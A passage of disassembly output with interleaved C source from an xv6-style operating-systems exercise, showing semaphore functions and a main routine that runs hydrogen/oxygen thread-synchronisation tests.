118d: e8 46 12 00 00 call 23d8 <lock_acquire>
add_qs(&(s->pRobyn), getpid());
1192: e8 21 0d 00 00 call 1eb8 <getpid>
1197: 8b 55 08 mov 0x8(%ebp),%edx
119a: 83 c2 0c add $0xc,%edx
119d: 89 44 24 04 mov %eax,0x4(%esp)
11a1: 89 14 24 mov %edx,(%esp)
11a4: e8 79 fe ff ff call 1022 <add_qs>
lock_release(&s->lock);
11a9: 8b 45 08 mov 0x8(%ebp),%eax
11ac: 83 c0 08 add $0x8,%eax
11af: 89 04 24 mov %eax,(%esp)
11b2: e8 41 12 00 00 call 23f8 <lock_release>
tsleep();
11b7: e8 2c 0d 00 00 call 1ee8 <tsleep>
sem_acquire(s);
11bc: 8b 45 08 mov 0x8(%ebp),%eax
11bf: 89 04 24 mov %eax,(%esp)
11c2: e8 83 ff ff ff call 114a <sem_acquire>
}
}
11c7: c9 leave
11c8: c3 ret
000011c9 <sem_signal>:
//Signal Semaphore
void sem_signal(struct Semaphore *s){
11c9: 55 push %ebp
11ca: 89 e5 mov %esp,%ebp
11cc: 83 ec 18 sub $0x18,%esp
if(s->count < s->maxCount){
11cf: 8b 45 08 mov 0x8(%ebp),%eax
11d2: 8b 10 mov (%eax),%edx
11d4: 8b 45 08 mov 0x8(%ebp),%eax
11d7: 8b 40 04 mov 0x4(%eax),%eax
11da: 39 c2 cmp %eax,%edx
11dc: 7d 51 jge 122f <sem_signal+0x66>
lock_acquire(&s->lock);
11de: 8b 45 08 mov 0x8(%ebp),%eax
11e1: 83 c0 08 add $0x8,%eax
11e4: 89 04 24 mov %eax,(%esp)
11e7: e8 ec 11 00 00 call 23d8 <lock_acquire>
s->count++;
11ec: 8b 45 08 mov 0x8(%ebp),%eax
11ef: 8b 00 mov (%eax),%eax
11f1: 8d 50 01 lea 0x1(%eax),%edx
11f4: 8b 45 08 mov 0x8(%ebp),%eax
11f7: 89 10 mov %edx,(%eax)
lock_release(&s->lock);
11f9: 8b 45 08 mov 0x8(%ebp),%eax
11fc: 83 c0 08 add $0x8,%eax
11ff: 89 04 24 mov %eax,(%esp)
1202: e8 f1 11 00 00 call 23f8 <lock_release>
if(empty_qs(&(s->pRobyn)) == 0){
1207: 8b 45 08 mov 0x8(%ebp),%eax
120a: 83 c0 0c add $0xc,%eax
120d: 89 04 24 mov %eax,(%esp)
1210: e8 6d fe ff ff call 1082 <empty_qs>
1215: 85 c0 test %eax,%eax
1217: 75 16 jne 122f <sem_signal+0x66>
twakeup(pop_qs(&(s->pRobyn)));
1219: 8b 45 08 mov 0x8(%ebp),%eax
121c: 83 c0 0c add $0xc,%eax
121f: 89 04 24 mov %eax,(%esp)
1222: e8 75 fe ff ff call 109c <pop_qs>
1227: 89 04 24 mov %eax,(%esp)
122a: e8 c1 0c 00 00 call 1ef0 <twakeup>
}
}
}
122f: c9 leave
1230: c3 ret
00001231 <main>:
int i;
void hReady();
void oReady();
int main(){
1231: 55 push %ebp
1232: 89 e5 mov %esp,%ebp
1234: 83 e4 f0 and $0xfffffff0,%esp
1237: 83 ec 10 sub $0x10,%esp
h = malloc(sizeof(struct Semaphore));
123a: c7 04 24 18 00 00 00 movl $0x18,(%esp)
1241: e8 87 10 00 00 call 22cd <malloc>
1246: a3 68 2c 00 00 mov %eax,0x2c68
o = malloc(sizeof(struct Semaphore));
124b: c7 04 24 18 00 00 00 movl $0x18,(%esp)
1252: e8 76 10 00 00 call 22cd <malloc>
1257: a3 6c 2c 00 00 mov %eax,0x2c6c
p = malloc(sizeof(struct Semaphore));
125c: c7 04 24 18 00 00 00 movl $0x18,(%esp)
1263: e8 65 10 00 00 call 22cd <malloc>
1268: a3 70 2c 00 00 mov %eax,0x2c70
sem_init(p, 1);
126d: a1 70 2c 00 00 mov 0x2c70,%eax
1272: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
1279: 00
127a: 89 04 24 mov %eax,(%esp)
127d: e8 93 fe ff ff call 1115 <sem_init>
// Test 1: 2 hydrogen 1 oxygen (Thread creation order: H->H->O)
sem_acquire(p);
1282: a1 70 2c 00 00 mov 0x2c70,%eax
1287: 89 04 24 mov %eax,(%esp)
128a: e8 bb fe ff ff call 114a <sem_acquire>
printf(1, "Test 1: 2 Hydrogen, 1 Oxygen (Thread creation order: H->H->O): \n");
128f: c7 44 24 04 24 26 00 movl $0x2624,0x4(%esp)
1296: 00
1297: c7 04 24 01 00 00 00 movl $0x1,(%esp)
129e: e8 3d 0d 00 00 call 1fe0 <printf>
sem_signal(p);
12a3: a1 70 2c 00 00 mov 0x2c70,%eax
12a8: 89 04 24 mov %eax,(%esp)
12ab: e8 19 ff ff ff call 11c9 <sem_signal>
sem_init(h, 2);
12b0: a1 68 2c 00 00 mov 0x2c68,%eax
12b5: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
12bc: 00
12bd: 89 04 24 mov %eax,(%esp)
12c0: e8 50 fe ff ff call 1115 <sem_init>
sem_init(o, 1);
12c5: a1 6c 2c 00 00 mov 0x2c6c,%eax
12ca: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
12d1: 00
12d2: 89 04 24 mov %eax,(%esp)
12d5: e8 3b fe ff ff call 1115 <sem_init>
for(water = 0; water < 1; water++){
12da: c7 05 80 2c 00 00 00 movl $0x0,0x2c80
12e1: 00 00 00
12e4: e9 7b 01 00 00 jmp 1464 <main+0x233>
tid = thread_create(hReady, (void *) &arg);
12e9: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
12f0: 00
12f1: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
12f8: e8 16 11 00 00 call 2413 <thread_create>
12fd: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
1302: a1 88 2c 00 00 mov 0x2c88,%eax
1307: 85 c0 test %eax,%eax
1309: 75 33 jne 133e <main+0x10d>
sem_acquire(p);
130b: a1 70 2c 00 00 mov 0x2c70,%eax
1310: 89 04 24 mov %eax,(%esp)
1313: e8 32 fe ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
1318: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
131f: 00
1320: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1327: e8 b4 0c 00 00 call 1fe0 <printf>
sem_signal(p);
132c: a1 70 2c 00 00 mov 0x2c70,%eax
1331: 89 04 24 mov %eax,(%esp)
1334: e8 90 fe ff ff call 11c9 <sem_signal>
exit();
1339: e8 fa 0a 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
133e: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
1345: 00 00 00
1348: eb 0d jmp 1357 <main+0x126>
134a: a1 84 2c 00 00 mov 0x2c84,%eax
134f: 83 c0 01 add $0x1,%eax
1352: a3 84 2c 00 00 mov %eax,0x2c84
1357: a1 84 2c 00 00 mov 0x2c84,%eax
135c: 3d 3e 42 0f 00 cmp $0xf423e,%eax
1361: 7e e7 jle 134a <main+0x119>
tid = thread_create(hReady, (void *) &arg);
1363: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
136a: 00
136b: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
1372: e8 9c 10 00 00 call 2413 <thread_create>
1377: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
137c: a1 88 2c 00 00 mov 0x2c88,%eax
1381: 85 c0 test %eax,%eax
1383: 75 33 jne 13b8 <main+0x187>
sem_acquire(p);
1385: a1 70 2c 00 00 mov 0x2c70,%eax
138a: 89 04 24 mov %eax,(%esp)
138d: e8 b8 fd ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
1392: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1399: 00
139a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13a1: e8 3a 0c 00 00 call 1fe0 <printf>
sem_signal(p);
13a6: a1 70 2c 00 00 mov 0x2c70,%eax
13ab: 89 04 24 mov %eax,(%esp)
13ae: e8 16 fe ff ff call 11c9 <sem_signal>
exit();
13b3: e8 80 0a 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
13b8: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
13bf: 00 00 00
13c2: eb 0d jmp 13d1 <main+0x1a0>
13c4: a1 84 2c 00 00 mov 0x2c84,%eax
13c9: 83 c0 01 add $0x1,%eax
13cc: a3 84 2c 00 00 mov %eax,0x2c84
13d1: a1 84 2c 00 00 mov 0x2c84,%eax
13d6: 3d 3e 42 0f 00 cmp $0xf423e,%eax
13db: 7e e7 jle 13c4 <main+0x193>
tid = thread_create(oReady, (void *) &arg);
13dd: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
13e4: 00
13e5: c7 04 24 1f 1b 00 00 movl $0x1b1f,(%esp)
13ec: e8 22 10 00 00 call 2413 <thread_create>
13f1: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
13f6: a1 88 2c 00 00 mov 0x2c88,%eax
13fb: 85 c0 test %eax,%eax
13fd: 75 33 jne 1432 <main+0x201>
sem_acquire(p);
13ff: a1 70 2c 00 00 mov 0x2c70,%eax
1404: 89 04 24 mov %eax,(%esp)
1407: e8 3e fd ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
140c: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1413: 00
1414: c7 04 24 01 00 00 00 movl $0x1,(%esp)
141b: e8 c0 0b 00 00 call 1fe0 <printf>
sem_signal(p);
1420: a1 70 2c 00 00 mov 0x2c70,%eax
1425: 89 04 24 mov %eax,(%esp)
1428: e8 9c fd ff ff call 11c9 <sem_signal>
exit();
142d: e8 06 0a 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
1432: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
1439: 00 00 00
143c: eb 0d jmp 144b <main+0x21a>
143e: a1 84 2c 00 00 mov 0x2c84,%eax
1443: 83 c0 01 add $0x1,%eax
1446: a3 84 2c 00 00 mov %eax,0x2c84
144b: a1 84 2c 00 00 mov 0x2c84,%eax
1450: 3d 3e 42 0f 00 cmp $0xf423e,%eax
1455: 7e e7 jle 143e <main+0x20d>
printf(1, "Test 1: 2 Hydrogen, 1 Oxygen (Thread creation order: H->H->O): \n");
sem_signal(p);
sem_init(h, 2);
sem_init(o, 1);
for(water = 0; water < 1; water++){
1457: a1 80 2c 00 00 mov 0x2c80,%eax
145c: 83 c0 01 add $0x1,%eax
145f: a3 80 2c 00 00 mov %eax,0x2c80
1464: a1 80 2c 00 00 mov 0x2c80,%eax
1469: 85 c0 test %eax,%eax
146b: 0f 8e 78 fe ff ff jle 12e9 <main+0xb8>
sem_signal(p);
exit();
}
for(i = 0; i < 999999; i++);
}
while(wait()>= 0);
1471: 90 nop
1472: e8 c9 09 00 00 call 1e40 <wait>
1477: 85 c0 test %eax,%eax
1479: 79 f7 jns 1472 <main+0x241>
// Test 2: 20 hydrogen 10 oxygen (Thread creation order: O->H->H)
sem_acquire(p);
147b: a1 70 2c 00 00 mov 0x2c70,%eax
1480: 89 04 24 mov %eax,(%esp)
1483: e8 c2 fc ff ff call 114a <sem_acquire>
printf(1, "\nTest 2: 20 Hydrogen, 10 Oxygen (Thread creation order: O->H->H): \n");
1488: c7 44 24 04 80 26 00 movl $0x2680,0x4(%esp)
148f: 00
1490: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1497: e8 44 0b 00 00 call 1fe0 <printf>
sem_signal(p);
149c: a1 70 2c 00 00 mov 0x2c70,%eax
14a1: 89 04 24 mov %eax,(%esp)
14a4: e8 20 fd ff ff call 11c9 <sem_signal>
sem_init(h, 2);
14a9: a1 68 2c 00 00 mov 0x2c68,%eax
14ae: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
14b5: 00
14b6: 89 04 24 mov %eax,(%esp)
14b9: e8 57 fc ff ff call 1115 <sem_init>
sem_init(o, 1);
14be: a1 6c 2c 00 00 mov 0x2c6c,%eax
14c3: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
14ca: 00
14cb: 89 04 24 mov %eax,(%esp)
14ce: e8 42 fc ff ff call 1115 <sem_init>
for(water = 0; water < 10; water++){
14d3: c7 05 80 2c 00 00 00 movl $0x0,0x2c80
14da: 00 00 00
14dd: e9 7b 01 00 00 jmp 165d <main+0x42c>
tid = thread_create(oReady, (void *) &arg);
14e2: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
14e9: 00
14ea: c7 04 24 1f 1b 00 00 movl $0x1b1f,(%esp)
14f1: e8 1d 0f 00 00 call 2413 <thread_create>
14f6: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
14fb: a1 88 2c 00 00 mov 0x2c88,%eax
1500: 85 c0 test %eax,%eax
1502: 75 33 jne 1537 <main+0x306>
sem_acquire(p);
1504: a1 70 2c 00 00 mov 0x2c70,%eax
1509: 89 04 24 mov %eax,(%esp)
150c: e8 39 fc ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
1511: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1518: 00
1519: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1520: e8 bb 0a 00 00 call 1fe0 <printf>
sem_signal(p);
1525: a1 70 2c 00 00 mov 0x2c70,%eax
152a: 89 04 24 mov %eax,(%esp)
152d: e8 97 fc ff ff call 11c9 <sem_signal>
exit();
1532: e8 01 09 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
1537: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
153e: 00 00 00
1541: eb 0d jmp 1550 <main+0x31f>
1543: a1 84 2c 00 00 mov 0x2c84,%eax
1548: 83 c0 01 add $0x1,%eax
154b: a3 84 2c 00 00 mov %eax,0x2c84
1550: a1 84 2c 00 00 mov 0x2c84,%eax
1555: 3d 3e 42 0f 00 cmp $0xf423e,%eax
155a: 7e e7 jle 1543 <main+0x312>
tid = thread_create(hReady, (void *) &arg);
155c: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
1563: 00
1564: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
156b: e8 a3 0e 00 00 call 2413 <thread_create>
1570: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
1575: a1 88 2c 00 00 mov 0x2c88,%eax
157a: 85 c0 test %eax,%eax
157c: 75 33 jne 15b1 <main+0x380>
sem_acquire(p);
157e: a1 70 2c 00 00 mov 0x2c70,%eax
1583: 89 04 24 mov %eax,(%esp)
1586: e8 bf fb ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
158b: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1592: 00
1593: c7 04 24 01 00 00 00 movl $0x1,(%esp)
159a: e8 41 0a 00 00 call 1fe0 <printf>
sem_signal(p);
159f: a1 70 2c 00 00 mov 0x2c70,%eax
15a4: 89 04 24 mov %eax,(%esp)
15a7: e8 1d fc ff ff call 11c9 <sem_signal>
exit();
15ac: e8 87 08 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
15b1: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
15b8: 00 00 00
15bb: eb 0d jmp 15ca <main+0x399>
15bd: a1 84 2c 00 00 mov 0x2c84,%eax
15c2: 83 c0 01 add $0x1,%eax
15c5: a3 84 2c 00 00 mov %eax,0x2c84
15ca: a1 84 2c 00 00 mov 0x2c84,%eax
15cf: 3d 3e 42 0f 00 cmp $0xf423e,%eax
15d4: 7e e7 jle 15bd <main+0x38c>
tid = thread_create(hReady, (void *) &arg);
15d6: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
15dd: 00
15de: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
15e5: e8 29 0e 00 00 call 2413 <thread_create>
15ea: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
15ef: a1 88 2c 00 00 mov 0x2c88,%eax
15f4: 85 c0 test %eax,%eax
15f6: 75 33 jne 162b <main+0x3fa>
sem_acquire(p);
15f8: a1 70 2c 00 00 mov 0x2c70,%eax
15fd: 89 04 24 mov %eax,(%esp)
1600: e8 45 fb ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
1605: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
160c: 00
160d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1614: e8 c7 09 00 00 call 1fe0 <printf>
sem_signal(p);
1619: a1 70 2c 00 00 mov 0x2c70,%eax
161e: 89 04 24 mov %eax,(%esp)
1621: e8 a3 fb ff ff call 11c9 <sem_signal>
exit();
1626: e8 0d 08 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
162b: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
1632: 00 00 00
1635: eb 0d jmp 1644 <main+0x413>
1637: a1 84 2c 00 00 mov 0x2c84,%eax
163c: 83 c0 01 add $0x1,%eax
163f: a3 84 2c 00 00 mov %eax,0x2c84
1644: a1 84 2c 00 00 mov 0x2c84,%eax
1649: 3d 3e 42 0f 00 cmp $0xf423e,%eax
164e: 7e e7 jle 1637 <main+0x406>
printf(1, "\nTest 2: 20 Hydrogen, 10 Oxygen (Thread creation order: O->H->H): \n");
sem_signal(p);
sem_init(h, 2);
sem_init(o, 1);
for(water = 0; water < 10; water++){
1650: a1 80 2c 00 00 mov 0x2c80,%eax
1655: 83 c0 01 add $0x1,%eax
1658: a3 80 2c 00 00 mov %eax,0x2c80
165d: a1 80 2c 00 00 mov 0x2c80,%eax
1662: 83 f8 09 cmp $0x9,%eax
1665: 0f 8e 77 fe ff ff jle 14e2 <main+0x2b1>
sem_signal(p);
exit();
}
for(i = 0; i < 999999; i++);
}
while(wait()>= 0);
166b: 90 nop
166c: e8 cf 07 00 00 call 1e40 <wait>
1671: 85 c0 test %eax,%eax
1673: 79 f7 jns 166c <main+0x43b>
// Test 3: 20 hydrogen 10 oxygen (Thread creation order: H->O->H)
sem_acquire(p);
1675: a1 70 2c 00 00 mov 0x2c70,%eax
167a: 89 04 24 mov %eax,(%esp)
167d: e8 c8 fa ff ff call 114a <sem_acquire>
printf(1, "\nTest 3: 20 Hydrogen, 10 Oxygen (Thread creation order: H->O->H): \n");
1682: c7 44 24 04 c4 26 00 movl $0x26c4,0x4(%esp)
1689: 00
168a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1691: e8 4a 09 00 00 call 1fe0 <printf>
sem_signal(p);
1696: a1 70 2c 00 00 mov 0x2c70,%eax
169b: 89 04 24 mov %eax,(%esp)
169e: e8 26 fb ff ff call 11c9 <sem_signal>
sem_init(h, 2);
16a3: a1 68 2c 00 00 mov 0x2c68,%eax
16a8: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
16af: 00
16b0: 89 04 24 mov %eax,(%esp)
16b3: e8 5d fa ff ff call 1115 <sem_init>
sem_init(o, 1);
16b8: a1 6c 2c 00 00 mov 0x2c6c,%eax
16bd: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
16c4: 00
16c5: 89 04 24 mov %eax,(%esp)
16c8: e8 48 fa ff ff call 1115 <sem_init>
for(water = 0; water < 10; water++){
16cd: c7 05 80 2c 00 00 00 movl $0x0,0x2c80
16d4: 00 00 00
16d7: e9 7b 01 00 00 jmp 1857 <main+0x626>
tid = thread_create(hReady, (void *) &arg);
16dc: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
16e3: 00
16e4: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
16eb: e8 23 0d 00 00 call 2413 <thread_create>
16f0: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
16f5: a1 88 2c 00 00 mov 0x2c88,%eax
16fa: 85 c0 test %eax,%eax
16fc: 75 33 jne 1731 <main+0x500>
sem_acquire(p);
16fe: a1 70 2c 00 00 mov 0x2c70,%eax
1703: 89 04 24 mov %eax,(%esp)
1706: e8 3f fa ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
170b: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1712: 00
1713: c7 04 24 01 00 00 00 movl $0x1,(%esp)
171a: e8 c1 08 00 00 call 1fe0 <printf>
sem_signal(p);
171f: a1 70 2c 00 00 mov 0x2c70,%eax
1724: 89 04 24 mov %eax,(%esp)
1727: e8 9d fa ff ff call 11c9 <sem_signal>
exit();
172c: e8 07 07 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
1731: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
1738: 00 00 00
173b: eb 0d jmp 174a <main+0x519>
173d: a1 84 2c 00 00 mov 0x2c84,%eax
1742: 83 c0 01 add $0x1,%eax
1745: a3 84 2c 00 00 mov %eax,0x2c84
174a: a1 84 2c 00 00 mov 0x2c84,%eax
174f: 3d 3e 42 0f 00 cmp $0xf423e,%eax
1754: 7e e7 jle 173d <main+0x50c>
tid = thread_create(oReady, (void *) &arg);
1756: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
175d: 00
175e: c7 04 24 1f 1b 00 00 movl $0x1b1f,(%esp)
1765: e8 a9 0c 00 00 call 2413 <thread_create>
176a: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
176f: a1 88 2c 00 00 mov 0x2c88,%eax
1774: 85 c0 test %eax,%eax
1776: 75 33 jne 17ab <main+0x57a>
sem_acquire(p);
1778: a1 70 2c 00 00 mov 0x2c70,%eax
177d: 89 04 24 mov %eax,(%esp)
1780: e8 c5 f9 ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
1785: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
178c: 00
178d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1794: e8 47 08 00 00 call 1fe0 <printf>
sem_signal(p);
1799: a1 70 2c 00 00 mov 0x2c70,%eax
179e: 89 04 24 mov %eax,(%esp)
17a1: e8 23 fa ff ff call 11c9 <sem_signal>
exit();
17a6: e8 8d 06 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
17ab: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
17b2: 00 00 00
17b5: eb 0d jmp 17c4 <main+0x593>
17b7: a1 84 2c 00 00 mov 0x2c84,%eax
17bc: 83 c0 01 add $0x1,%eax
17bf: a3 84 2c 00 00 mov %eax,0x2c84
17c4: a1 84 2c 00 00 mov 0x2c84,%eax
17c9: 3d 3e 42 0f 00 cmp $0xf423e,%eax
17ce: 7e e7 jle 17b7 <main+0x586>
tid = thread_create(hReady, (void *) &arg);
17d0: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
17d7: 00
17d8: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
17df: e8 2f 0c 00 00 call 2413 <thread_create>
17e4: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
17e9: a1 88 2c 00 00 mov 0x2c88,%eax
17ee: 85 c0 test %eax,%eax
17f0: 75 33 jne 1825 <main+0x5f4>
sem_acquire(p);
17f2: a1 70 2c 00 00 mov 0x2c70,%eax
17f7: 89 04 24 mov %eax,(%esp)
17fa: e8 4b f9 ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
17ff: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1806: 00
1807: c7 04 24 01 00 00 00 movl $0x1,(%esp)
180e: e8 cd 07 00 00 call 1fe0 <printf>
sem_signal(p);
1813: a1 70 2c 00 00 mov 0x2c70,%eax
1818: 89 04 24 mov %eax,(%esp)
181b: e8 a9 f9 ff ff call 11c9 <sem_signal>
exit();
1820: e8 13 06 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
1825: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
182c: 00 00 00
182f: eb 0d jmp 183e <main+0x60d>
1831: a1 84 2c 00 00 mov 0x2c84,%eax
1836: 83 c0 01 add $0x1,%eax
1839: a3 84 2c 00 00 mov %eax,0x2c84
183e: a1 84 2c 00 00 mov 0x2c84,%eax
1843: 3d 3e 42 0f 00 cmp $0xf423e,%eax
1848: 7e e7 jle 1831 <main+0x600>
printf(1, "\nTest 3: 20 Hydrogen, 10 Oxygen (Thread creation order: H->O->H): \n");
sem_signal(p);
sem_init(h, 2);
sem_init(o, 1);
for(water = 0; water < 10; water++){
184a: a1 80 2c 00 00 mov 0x2c80,%eax
184f: 83 c0 01 add $0x1,%eax
1852: a3 80 2c 00 00 mov %eax,0x2c80
1857: a1 80 2c 00 00 mov 0x2c80,%eax
185c: 83 f8 09 cmp $0x9,%eax
185f: 0f 8e 77 fe ff ff jle 16dc <main+0x4ab>
sem_signal(p);
exit();
}
for(i = 0; i < 999999; i++);
}
while(wait()>= 0);
1865: 90 nop
1866: e8 d5 05 00 00 call 1e40 <wait>
186b: 85 c0 test %eax,%eax
186d: 79 f7 jns 1866 <main+0x635>
// Test 4: 20 hydrogen 10 oxygen (Thread creation order: H->H->O)
sem_acquire(p);
186f: a1 70 2c 00 00 mov 0x2c70,%eax
1874: 89 04 24 mov %eax,(%esp)
1877: e8 ce f8 ff ff call 114a <sem_acquire>
printf(1, "\nTest 4: 20 Hydrogen, 10 Oxygen (Thread creation order: H->H->O): \n");
187c: c7 44 24 04 08 27 00 movl $0x2708,0x4(%esp)
1883: 00
1884: c7 04 24 01 00 00 00 movl $0x1,(%esp)
188b: e8 50 07 00 00 call 1fe0 <printf>
sem_signal(p);
1890: a1 70 2c 00 00 mov 0x2c70,%eax
1895: 89 04 24 mov %eax,(%esp)
1898: e8 2c f9 ff ff call 11c9 <sem_signal>
sem_init(h, 2);
189d: a1 68 2c 00 00 mov 0x2c68,%eax
18a2: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
18a9: 00
18aa: 89 04 24 mov %eax,(%esp)
18ad: e8 63 f8 ff ff call 1115 <sem_init>
sem_init(o, 1);
18b2: a1 6c 2c 00 00 mov 0x2c6c,%eax
18b7: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
18be: 00
18bf: 89 04 24 mov %eax,(%esp)
18c2: e8 4e f8 ff ff call 1115 <sem_init>
for(water = 0; water < 10; water++){
18c7: c7 05 80 2c 00 00 00 movl $0x0,0x2c80
18ce: 00 00 00
18d1: e9 7b 01 00 00 jmp 1a51 <main+0x820>
tid = thread_create(hReady, (void *) &arg);
18d6: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
18dd: 00
18de: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
18e5: e8 29 0b 00 00 call 2413 <thread_create>
18ea: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
18ef: a1 88 2c 00 00 mov 0x2c88,%eax
18f4: 85 c0 test %eax,%eax
18f6: 75 33 jne 192b <main+0x6fa>
sem_acquire(p);
18f8: a1 70 2c 00 00 mov 0x2c70,%eax
18fd: 89 04 24 mov %eax,(%esp)
1900: e8 45 f8 ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
1905: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
190c: 00
190d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1914: e8 c7 06 00 00 call 1fe0 <printf>
sem_signal(p);
1919: a1 70 2c 00 00 mov 0x2c70,%eax
191e: 89 04 24 mov %eax,(%esp)
1921: e8 a3 f8 ff ff call 11c9 <sem_signal>
exit();
1926: e8 0d 05 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
192b: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
1932: 00 00 00
1935: eb 0d jmp 1944 <main+0x713>
1937: a1 84 2c 00 00 mov 0x2c84,%eax
193c: 83 c0 01 add $0x1,%eax
193f: a3 84 2c 00 00 mov %eax,0x2c84
1944: a1 84 2c 00 00 mov 0x2c84,%eax
1949: 3d 3e 42 0f 00 cmp $0xf423e,%eax
194e: 7e e7 jle 1937 <main+0x706>
tid = thread_create(hReady, (void *) &arg);
1950: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
1957: 00
1958: c7 04 24 6e 1a 00 00 movl $0x1a6e,(%esp)
195f: e8 af 0a 00 00 call 2413 <thread_create>
1964: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
1969: a1 88 2c 00 00 mov 0x2c88,%eax
196e: 85 c0 test %eax,%eax
1970: 75 33 jne 19a5 <main+0x774>
sem_acquire(p);
1972: a1 70 2c 00 00 mov 0x2c70,%eax
1977: 89 04 24 mov %eax,(%esp)
197a: e8 cb f7 ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
197f: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1986: 00
1987: c7 04 24 01 00 00 00 movl $0x1,(%esp)
198e: e8 4d 06 00 00 call 1fe0 <printf>
sem_signal(p);
1993: a1 70 2c 00 00 mov 0x2c70,%eax
1998: 89 04 24 mov %eax,(%esp)
199b: e8 29 f8 ff ff call 11c9 <sem_signal>
exit();
19a0: e8 93 04 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
19a5: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
19ac: 00 00 00
19af: eb 0d jmp 19be <main+0x78d>
19b1: a1 84 2c 00 00 mov 0x2c84,%eax
19b6: 83 c0 01 add $0x1,%eax
19b9: a3 84 2c 00 00 mov %eax,0x2c84
19be: a1 84 2c 00 00 mov 0x2c84,%eax
19c3: 3d 3e 42 0f 00 cmp $0xf423e,%eax
19c8: 7e e7 jle 19b1 <main+0x780>
tid = thread_create(oReady, (void *) &arg);
19ca: c7 44 24 04 4c 2c 00 movl $0x2c4c,0x4(%esp)
19d1: 00
19d2: c7 04 24 1f 1b 00 00 movl $0x1b1f,(%esp)
